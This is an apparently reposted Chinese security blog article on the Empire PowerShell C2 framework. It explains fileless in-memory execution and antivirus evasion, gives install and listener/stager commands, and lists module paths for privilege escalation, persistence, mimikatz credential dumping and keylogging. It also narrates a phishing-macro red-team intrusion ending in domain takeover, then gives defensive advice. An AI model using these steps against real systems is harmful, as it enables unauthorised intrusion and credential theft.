文章总结: 本文介绍了Empire这一基于PowerShell的无文件攻击C2框架,详细解析其内存执行、免杀特性及架构组成。文章提供了从安装到上线的操作流程,列举了信息收集、提权与横向移动等核心功能,并结合红队实战案例展示了其内网渗透路径。最后针对Empire攻击提出了开启日志审计、部署AMSI及行为监控等防御建议,是理解红队工具与内网安全的优质参考。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,安全工具,免杀
Empire:用PowerShell统治内网的“隐形帝国
原创
xxxxxx xxxxxx
渗透测试知识学习
2026年3月9日 19:41 四川
你见过不落地木马就能控制电脑的黑客工具吗?
你见过全程在内存里运行、杀毒软件查不出进程的恶意软件吗?
你见过能从一个普通用户权限,一路爬到域管理员的神器吗?
它叫Empire。
一、Empire是什么?
Empire是一个纯PowerShell实现的C2框架,后来被移植到Python 3,改名Empire 3,目前由BC Security维护。
简单说:它是一个专门为“无文件攻击”设计的黑客工具。
什么叫“无文件攻击”?
就是不往硬盘里写exe文件,所有恶意代码都在内存里跑。杀毒软件扫描硬盘?扫不到。文件监控系统?没文件可抓。
二、为什么说它是“隐形帝国”?
因为它的设计哲学就是:能不写文件,就不写文件。
第一:全内存运行
Empire的植入物叫“agent”,用PowerShell写成。目标执行后,代码全在内存里,不写磁盘。杀毒软件的传统扫描方式,对它基本无效。
第二:PowerShell是白名单
Windows系统自带PowerShell,本来就是用来管理电脑的。杀毒软件不能拦PowerShell——一拦系统就崩了。Empire就是钻这个空子。
第三:模块化设计
想要什么功能,现从服务器下发,内存里执行。用完就扔,不留痕迹。
三、Empire的架构
Empire由三部分组成:
- 服务端
用Python 3写成,跑在攻击者的VPS上。负责管理所有agent、存储数据、处理任务。
- 客户端
也是Python写的命令行界面,操作员用它连到服务端下发命令。
- Agent植入物
用PowerShell写成,跑在目标机器上。分几种:
· powershell:纯PowerShell版
· csharp:C#实现,更稳定
· python:Linux/macOS用
四、怎么用?一个简化版流程
第一步:安装
git clone https://github.com/BC-SECURITY/Empire
cd Empire
sudo ./setup/install.sh
第二步:启动
sudo ./empire
进入交互界面。
第三步:开启监听
listeners
uselistener http
set Name test
set Host http://你的IP:8080
execute
第四步:生成启动器
usestager windows/launcher\_bat
set Listener test
execute
会生成一个批处理文件。把这个文件发给目标。
第五步:目标上线
目标一跑,你的控制台里就会出现一个新的agent。
agents
interact 新agent的ID
五、Empire能干什么?
进入agent交互界面后,能做的事多了:
信息收集
· whoami:当前用户
· ipconfig:网络配置
· net view:看内网电脑
· ps:看进程
提权
· usemodule powershell/privesc/powerup/allchecks:一键扫描提权漏洞
· usemodule powershell/privesc/ms16-032:打特定漏洞
横向移动
· usemodule powershell/persistence/misc/add_netuser:加新用户
· usemodule powershell/persistence/misc/schtasks:加计划任务
· usemodule powershell/persistence/misc/wmi:WMI远程执行
凭证窃取
· usemodule powershell/credentials/mimikatz/dump_creds:扒内存密码
· usemodule powershell/credentials/tokens:窃取令牌
键盘记录
· usemodule powershell/collection/keylog:开始录键盘
六、真实案例:Empire怎么干
某次红队演练,目标公司防护很严:有EDR、有杀毒、员工不能装软件。
红队怎么进的?
第一步:钓鱼邮件
发邮件“工资调整通知.docx”,让员工点。
文档里藏了宏代码,运行时用PowerShell下载Empire的agent。
第二步:上线
员工点了“启用内容”,PowerShell跑起来,agent上线。
杀毒软件没报——因为PowerShell是白名单,agent在内存里,没文件落地。
第三步:信息收集
看whoami——普通用户权限。看net view——内网有200台电脑。
第四步:提权
用PowerUp模块扫描,发现有个漏洞可以提权到SYSTEM。
第五步:横向移动
拿到SYSTEM后,用WMI往文件服务器上种agent。
文件服务器上有域管理员的会话,用mimikatz扒出域管理员密码。
第六步:拿下域控
用域管理员密码登录域控,种agent。
从头到尾,没往硬盘里写一个exe文件。
七、Empire为什么被黑客偏爱?
- 免杀能力强
因为全程内存运行,杀毒软件的传统文件扫描直接废了。
- 功能全
从信息收集到权限维持,从提权到横向移动,上千个现成模块。
- 跨平台
Windows用PowerShell agent,Linux/macOS用Python agent。
- 社区活跃
大量第三方插件和脚本,想要什么功能都能找。
八、怎么防Empire?
Empire这么厉害,怎么防?
- 开PowerShell日志
PowerShell有日志功能,能记录谁跑了什么命令。开启Script Block Logging和Module Logging,攻击者的操作会留下痕迹。
- 用AMSI
AMSI能扫描内存里的PowerShell代码。虽然Empire有绕过AMSI的模块,但开了总比不开强。
- 限制PowerShell执行策略
设置ExecutionPolicy,不允许随便跑脚本。
- 监控进程行为
PowerShell正常不该做的事:
· 远程下载代码
· 访问敏感系统API
· 频繁的进程创建
- 用JEA(Just Enough Administration)
给普通用户最小权限,不让他们随便跑PowerShell。
九、最后一句
Empire是PowerShell版的C2框架,也是“无文件攻击”的代表作。
它用Windows自带的工具,干着破坏系统的事。杀毒软件拦不住,普通用户看不见。
但它本身也是开源工具,正规红队用来测安全,黑帽黑客用来搞破坏。
工具没善恶,用的人有。
想了解黑客怎么用PowerShell搞事情?
安装命令:
git clone https://github.com/BC-SECURITY/Empire
cd Empire
sudo ./setup/install.sh
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:渗透测试知识学习 xxxxxx xxxxxx《Empire:用PowerShell统治内网的“隐形帝国》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论